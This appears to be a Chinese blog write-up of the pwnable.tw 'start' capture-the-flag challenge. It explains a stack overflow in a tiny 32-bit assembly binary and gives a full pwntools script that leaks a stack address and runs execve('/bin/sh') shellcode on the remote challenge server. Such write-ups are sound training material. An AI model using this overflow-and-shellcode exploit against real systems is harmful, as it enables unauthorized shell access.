【pwnable.tw】start

32位程序,保护全关,应该是用汇编写的,就只有_start和_exit两个函数。

首先是向栈中push一个字符串,然后输出该字符串后再向栈中输入0x3c个字符。注意在read的时候并没有设置ecx,所以这个时候ecx仍然等于esp,所以就是直接向栈上写入0x3c个字符。

这里很明显有栈溢出,因为我们可以看最后的返回语句:

.text:08048099 83 C4 14                      add     esp, 14h
.text:0804809C C3                            retn

将栈抬升0x14后直接ret,这里ret的值就是最开始push的_exit,所以我们可以直接覆盖返回地址。由于没有开启NX保护,所以可以先泄漏栈地址,然后直接往栈上写入shellcode即可。

那么如何泄漏栈地址呢?注意到最开始的时候是把esp的值给push到了栈中,而且刚好在_exit后面。

—————————— <=== esp

0x14

——————————

_exit

__________________

old_esp

__________________

所以我们可以先将返回地址_exit给覆盖为0x08048087,这样就会再一次调用read函数,而这里ecx是等于esp的,此时栈布局如下:

——————————<=== esp

old_esp

__________________

那么就可以泄漏栈地址了,然后再向栈上写入shellcode并返回到栈上执行即可。

from pwn import *
context(arch = "i386", os = "linux", endian = "little")
context.terminal = ['tmux', 'splitw', '-h']
#io = process("./start")
#io = remote("chall.pwnable.tw", 10000)
io = remote("node4.buuoj.cn", 28734)

#gdb.attach(io, 'b *0x8048097')
pay = b'A'*0x14 + p32(0x08048087)
io.sendafter(b'CTF:', pay)
stack = u32(io.recv(4))
print(hex(stack))

shellcode = asm("""
        mov eax, 11
        mov ebx, {0}
        xor ecx, ecx
        xor edx, edx
        int 0x80
""".format(stack))
print(shellcode)
pay = b'A'*4 + b'/bin/sh\x00' + b'A'*(0x14-8-4) + p32(stack+0x14) + shellcode
print(hex(len(pay)))
io.send(pay)
#pause()
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值